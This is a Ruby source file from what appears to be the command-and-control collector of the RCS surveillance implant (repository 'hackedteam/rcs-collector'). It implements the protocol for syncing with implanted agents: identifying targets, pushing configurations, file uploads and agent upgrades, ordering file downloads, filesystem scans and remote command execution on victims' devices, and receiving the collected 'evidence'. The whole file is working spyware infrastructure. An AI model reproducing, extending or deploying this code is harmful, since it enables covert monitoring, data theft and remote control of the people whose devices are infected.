hackedteam/rcs-collector

View on GitHub
lib/rcs-collector/sync_commands.rb

Summary

Maintainability
D
2 days
Test Coverage
#
#  Command parsing or the protocol (to be mixed-in in protocol)
#

# relatives
require_relative 'db.rb'
require_relative 'sessions.rb'
require_relative 'evidence_manager.rb'

# from RCS::Common
require 'rcs-common/trace'
require 'rcs-common/pascalize'

# system

module RCS
module Collector

module Commands

  # the commands are depicted here: http://rcs-dev/trac/wiki/RCS_Sync_Proto_Rest

  INVALID_COMMAND      = 0x00       # Don't use
  PROTO_OK             = 0x01       # OK
  PROTO_NO             = 0x02       # Nothing available
  PROTO_BYE            = 0x03       # The end of the protocol
  PROTO_ID             = 0x0f       # Identification of the target
  PROTO_CONF           = 0x07       # New configuration
  PROTO_UNINSTALL      = 0x0a       # Uninstall command
  PROTO_DOWNLOAD       = 0x0c       # List of files to be downloaded
  PROTO_UPLOAD         = 0x0d       # A file to be saved
  PROTO_UPGRADE        = 0x16       # Upgrade for the agent
  PROTO_EVIDENCE       = 0x09       # Upload of an evidence
  PROTO_EVIDENCE_CHUNK = 0x10       # Upload of an evidence (in chunks)
  PROTO_EVIDENCE_SIZE  = 0x0b       # Queue for evidence
  PROTO_FILESYSTEM     = 0x19       # List of paths to be scanned
  PROTO_PURGE          = 0x1a       # purge the log queue
  PROTO_EXEC           = 0x1b       # execution of commands during sync

  LOOKUP = { PROTO_ID => :command_id,
             PROTO_CONF => :command_conf,
             PROTO_UPLOAD => :command_upload,
             PROTO_DOWNLOAD => :command_download,
             PROTO_FILESYSTEM => :command_filesystem,
             PROTO_UPGRADE => :command_upgrade,
             PROTO_PURGE => :command_purge,
             PROTO_EXEC => :command_exec,
             PROTO_EVIDENCE => :command_evidence,
             PROTO_EVIDENCE_CHUNK => :command_evidence_chunk,
             PROTO_EVIDENCE_SIZE => :command_evidence_size,
             PROTO_BYE => :command_bye}

  # Protocol Identification
  # -> PROTO_ID  [Version, UserId, DeviceId, SourceId]
  # <- PROTO_OK, Time, Availables
  def command_id(peer, session, message)

    # agent version
    version = message.slice!(0..3).unpack('I').first

    # ident of the target
    user_id, device_id, source_id = message.unpascalize_ary

    # if the source id cannot be determined by the client, set it to the ip address
    source_id = peer if source_id.eql? '' or source_id.downcase.eql? 'unknown'

    trace :info, "[#{peer}][#{session[:cookie]}] Identification: #{version} '#{user_id}' '#{device_id}' '#{source_id}'"

    # get the time in UTC
    now = Time.now.getutc.to_i

    session[:sync_stat].started

    # notify the database that the sync is in progress
    # last parameter is true to trigger the alerts
    DB.instance.sync_start session, version, user_id, device_id, source_id, now

    # notify the Evidence Manager that the sync is in progress
    EvidenceManager.instance.sync_start session, version, user_id, device_id, source_id, now

    # response to the request
    command = [PROTO_OK].pack('I')

    steps = DB.instance.agent_availables(session).map(&:to_sym)
    trace :debug, "[#{peer}][#{session[:cookie]}] Steps to be performed during ident: #{steps.inspect}"

    available = ""
    # ask to the db if there are any availables for the agent
    # the results are actually downloaded and saved locally
    # we will retrieve the content when the agent ask for them later
    if steps.include? :config and DB.instance.new_conf? session[:bid]
      available += [PROTO_CONF].pack('I')
      trace :info, "[#{peer}][#{session[:cookie]}] Available: New config"
    end
    if steps.include? :purge and DB.instance.purge? session[:bid]
      available += [PROTO_PURGE].pack('I')
      trace :info, "[#{peer}][#{session[:cookie]}] Available: Purge"
    end
    if steps.include? :upload and DB.instance.new_uploads? session[:bid]
      available += [PROTO_UPLOAD].pack('I')
      trace :info, "[#{peer}][#{session[:cookie]}] Available: New uploads"
    end
    if steps.include? :upgrade and DB.instance.new_upgrade? session[:bid]
      available += [PROTO_UPGRADE].pack('I')
      trace :info, "[#{peer}][#{session[:cookie]}] Available: New upgrade"
    end
    if steps.include? :exec and DB.instance.new_exec? session[:bid]
      available += [PROTO_EXEC].pack('I')
      trace :info, "[#{peer}][#{session[:cookie]}] Available: New commands exec"
    end
    if steps.include? :download and DB.instance.new_downloads? session[:bid]
      available += [PROTO_DOWNLOAD].pack('I')
      trace :info, "[#{peer}][#{session[:cookie]}] Available: New downloads"
    end
    if steps.include? :filesystem and DB.instance.new_filesystems? session[:bid]
      available += [PROTO_FILESYSTEM].pack('I')
      trace :info, "[#{peer}][#{session[:cookie]}] Available: New filesystems"
    end

    # the time of the server to synchronize the clocks
    time = [Time.now.getutc.to_i].pack('Q')

    # calculate the total size of the response
    tot = time.length + 4 + available.length

    # prepare the response
    response = command + [tot].pack('I') + time + [available.length / 4].pack('I') + available

    trace :info, "[#{peer}][#{session[:cookie]}] Identification end: #{version} '#{user_id}' '#{device_id}' '#{source_id}'"

    return response
  end

  # Protocol End
  # -> PROTO_BYE
  # <- PROTO_OK
  def command_bye(peer, session, message)

    session[:sync_stat].ended

    # notify the database that the sync is ended
    DB.instance.sync_end session

    # notify the Evidence Manager that the sync has ended
    EvidenceManager.instance.sync_end session

    # destroy the current session
    SessionManager.instance.delete(session[:cookie])

    trace :info, "[#{peer}][#{session[:cookie]}] Synchronization completed"

    return [PROTO_OK].pack('I') + [0].pack('I')
  end

  # Protocol Conf
  # -> PROTO_CONF
  # <- PROTO_NO | PROTO_OK [ Conf ]
  # -> PROTO_CONF [ status ]
  # <- PROTO_OK
  def command_conf(peer, session, message)
    trace :info, "[#{peer}][#{session[:cookie]}] Configuration request"

    # if the command contains a message
    # it is a response to inform us of the stressfulness of the operation
    if message.size > 0
      status = message.slice!(0..3).unpack('I').first
      if status == PROTO_OK
        trace :info, "[#{peer}][#{session[:cookie]}] Configuration activated by the agent"
        DB.instance.activate_conf session[:bid]
      else
        trace :warn, "[#{peer}][#{session[:cookie]}] Agent not able to use the configuration"
      end
      return [PROTO_OK].pack('I') + [0].pack('I')
    end

    # the conf was already retrieved (if any) during the ident phase
    # here we just get the content (locally) without asking again to the db
    conf = DB.instance.new_conf session[:bid]

    # send the response
    if conf.nil?
      trace :info, "[#{peer}][#{session[:cookie]}] NO new configuration"
      response = [PROTO_NO].pack('I')
    else
      trace :info, "[#{peer}][#{session[:cookie]}] New configuration (#{conf.length} bytes)"
      response = [PROTO_OK].pack('I') + [conf.bytesize].pack('I') + conf
    end

    return response
  end

  # Protocol Upload
  # -> PROTO_UPLOAD
  # <- PROTO_NO | PROTO_OK [ left, filename, content ]
  def command_upload(peer, session, message)
    trace :info, "[#{peer}][#{session[:cookie]}] Upload request"

    # the upload list was already retrieved (if any) during the ident phase
    # here we get just the content (locally) without asking again to the db
    # the database will output one upload at a time and the 'left' number of file
    # we pass it to the agent which will request again if left is greater than zero
    upload, left = DB.instance.new_uploads session[:bid]

    # send the response
    if upload.nil?
      trace :info, "[#{peer}][#{session[:cookie]}] NO uploads"
      response = [PROTO_NO].pack('I')
    else
      response = [PROTO_OK].pack('I')

      content = [left].pack('I')                     # number of uploads still waiting in the db
      content += upload[:filename].pascalize         # filename
      content += [upload[:content].length].pack('I') # file size
      content += upload[:content]                    # file content

      response += [content.length].pack('I') + content

      trace :info, "[#{peer}][#{session[:cookie]}] [#{upload[:filename]}][#{upload[:content].length}] sent (#{left} left)"
    end

    return response
  end

  # Protocol Upgrade
  # -> PROTO_UPGRADE [flavor]
  # <- PROTO_NO | PROTO_OK [ left, filename, content ]
  def command_upgrade(peer, session, message)
    trace :info, "[#{peer}][#{session[:cookie]}] Upgrade request"

    flavor = message.size == 0 ? "" : message.unpascalize
    trace :debug, "[#{peer}][#{session[:cookie]}] Upgrade flavor: #{flavor}"
  
    # the upgrade list was already retrieved (if any) during the ident phase (like upload)
    upgrade, left = DB.instance.new_upgrade(session[:bid], flavor)

    # send the response
    if upgrade.nil?
      trace :info, "[#{peer}][#{session[:cookie]}] NO upgrade"
      response = [PROTO_NO].pack('I')
    else
      response = [PROTO_OK].pack('I')

      content = [left].pack('I')                      # number of upgrades still waiting in the db
      content += upgrade[:filename].pascalize         # filename
      content += [upgrade[:content].length].pack('I') # file size
      content += upgrade[:content]                    # file content

      response += [content.length].pack('I') + content

      trace :info, "[#{peer}][#{session[:cookie]}] [#{upgrade[:filename]}][#{upgrade[:content].length}] sent (#{left} left)"
    end

    return response
  end

  # Protocol Download
  # -> PROTO_DOWNLOAD
  # <- PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]]
  def command_download(peer, session, message)
    trace :info, "[#{peer}][#{session[:cookie]}] Download request"

    # the download list was already retrieved (if any) during the ident phase
    # here we get just the content (locally) without asking again to the db
    downloads = DB.instance.new_downloads session[:bid]

    # send the response
    if downloads.empty?
      trace :info, "[#{peer}][#{session[:cookie]}] NO downloads"
      response = [PROTO_NO].pack('I')
    else
      response = [PROTO_OK].pack('I')
      list = ""
      # create the list of patterns to download
      downloads.each do |dow|
        trace :info, "[#{peer}][#{session[:cookie]}] #{dow}"
        list += dow.pascalize
      end
      response += [list.length + 4].pack('I') + [downloads.size].pack('I') + list
      trace :info, "[#{peer}][#{session[:cookie]}] #{downloads.size} download requests sent"
    end

    return response
  end

  # Protocol Filesystem
  # -> PROTO_FILESYSTEM
  # <- PROTO_NO | PROTO_OK [ numElem,[ depth1, dir1, depth2, dir2, ... ]]
  def command_filesystem(peer, session, message)
    trace :info, "[#{peer}][#{session[:cookie]}] Filesystem request"

    # the filesystem list was already retrieved (if any) during the ident phase
    # here we get just the content (locally) without asking again to the db
    filesystems = DB.instance.new_filesystems session[:bid]

    # send the response
    if filesystems.empty?
      trace :info, "[#{peer}][#{session[:cookie]}] NO filesystem"
      response = [PROTO_NO].pack('I')
    else
      response = [PROTO_OK].pack('I')
      list = ""
      # create the list of patterns to download
      filesystems.each do |fs|
        trace :info, "[#{peer}][#{session[:cookie]}] #{fs[:depth]} #{fs[:path]}"
        list += [fs[:depth]].pack('I') + fs[:path].pascalize
      end
      response += [list.length + 4].pack('I') + [filesystems.size].pack('I') + list
      trace :info, "[#{peer}][#{session[:cookie]}] #{filesystems.size} filesystem requests sent"
    end

    return response
  end

  # Protocol Evidence
  # -> PROTO_EVIDENCE [ size, content ]
  # <- PROTO_OK | PROTO_NO
  def command_evidence(peer, session, message)

    # get the file size
    size = message.slice!(0..3).unpack('I').first

    # send the evidence to the db
    begin
      # store the evidence in the db
      EvidenceManager.instance.store_evidence session, size, message

      # remember the statistics for input evidence
      StatsManager.instance.add ev_input: 1, ev_input_size: size

      # remember how many evidence were transferred in this session
      session[:count] += 1
      session[:sync_stat].update(size)

      total = session[:total] > 0 ? session[:total] : 'unknown'
      trace :info, "[#{peer}][#{session[:cookie]}] Evidence saved (#{size} bytes) - #{session[:count]} of #{total}"
    rescue Exception => e
      trace :warn, "[#{peer}][#{session[:cookie]}] Evidence NOT saved: #{e.message}"
      return [PROTO_NO].pack('I')
    end

    return [PROTO_OK].pack('I') + [0].pack('I')
  end

  # Protocol Evidence (with resume in chunk)
  # -> PROTO_EVIDENCE_CHUNK [ id, base, chunk, size, content ]
  # <- PROTO_OK [ base ] | PROTO_NO
  def command_evidence_chunk(peer, session, message)

    id, base, chunk, size = message.slice!(0..15).unpack('I*')

    trace :info, "[#{peer}][#{session[:cookie]}] Evidence sent in chunk #{base}+#{chunk} (#{size} bytes)"

    begin

      # store the partial evidence in the db
      complete, evidence = EvidenceManager.instance.store_evidence_chunk session, id, base, chunk, size, message

      if complete == size
        # store the evidence in the db
        EvidenceManager.instance.store_evidence session, size, evidence

        # remember the statistics for input evidence
        StatsManager.instance.add ev_input: 1, ev_input_size: size

        # remember how many evidence were transferred in this session
        session[:count] += 1
        session[:sync_stat].update(size)

        total = session[:total] > 0 ? session[:total] : 'unknown'
        trace :info, "[#{peer}][#{session[:cookie]}] Evidence saved (#{size} bytes) - #{session[:count]} of #{total}"
      end

    rescue Exception => e
      trace :fatal, e.backtrace.join("\n")
      trace :warn, "[#{peer}][#{session[:cookie]}] Evidence NOT saved: #{e.message}"
      return [PROTO_NO].pack('I')
    end

    return [PROTO_OK].pack('I') + [4].pack('I') + [complete].pack('I')
  end


  # Protocol Evidence Size
  # -> PROTO_EVIDENCE_SIZE [ num, size]
  # <- PROTO_OK
  def command_evidence_size(peer, session, message)

    # get the number of files
    num = message.slice!(0..3).unpack('I').first

    # remember how many evidence will be transferred
    session[:count] = 0
    session[:total] = num
    session[:sync_stat].total = num

    # get the size of evidence
    size = message.unpack('Q').first

    trace :info, "[#{peer}][#{session[:cookie]}] Evidence queue size: #{num} (#{size.to_s_bytes})"

    return [PROTO_OK].pack('I') + [0].pack('I')
  end

  # Protocol Purge
  # -> PROTO_PURGE
  # <- PROTO_NO | PROTO_OK [ numElem,[ depth1, dir1, depth2, dir2, ... ]]
  def command_purge(peer, session, message)
    trace :info, "[#{peer}][#{session[:cookie]}] Purge request"

    time, size = DB.instance.purge session[:bid]

    # send the response
    if time == 0 && size == 0
      trace :info, "[#{peer}][#{session[:cookie]}] NO purge"
      response = [PROTO_NO].pack('I')
    else
      response = [PROTO_OK].pack('I')
      content = [time].pack('Q') + [size].pack('I')
      response += [content.length].pack('I') + content
      trace :info, "[#{peer}][#{session[:cookie]}] purge requests sent [#{Time.at(time).getutc}][#{size}]"
    end

    return response
  end

  # Protocol Exec
  # -> PROTO_EXEC
  # <- PROTO_NO | PROTO_OK [ numElem, [file1, file2, ...]]
  def command_exec(peer, session, message)
    trace :info, "[#{peer}][#{session[:cookie]}] Exec request"

    # the exec list was already retrieved (if any) during the ident phase
    # here we get just the content (locally) without asking again to the db
    commands = DB.instance.new_exec session[:bid]

    # send the response
    if commands.empty?
      trace :info, "[#{peer}][#{session[:cookie]}] NO exec"
      response = [PROTO_NO].pack('I')
    else
      response = [PROTO_OK].pack('I')
      list = ""
      # create the list of patterns to download
      commands.each do |dow|
        trace :info, "[#{peer}][#{session[:cookie]}] #{dow}"
        list += dow.pascalize
      end
      response += [list.length + 4].pack('I') + [commands.size].pack('I') + list
      trace :info, "[#{peer}][#{session[:cookie]}] #{commands.size} exec requests sent"
    end

    return response
  end

end #Commands

end #Collector::
end #RCS::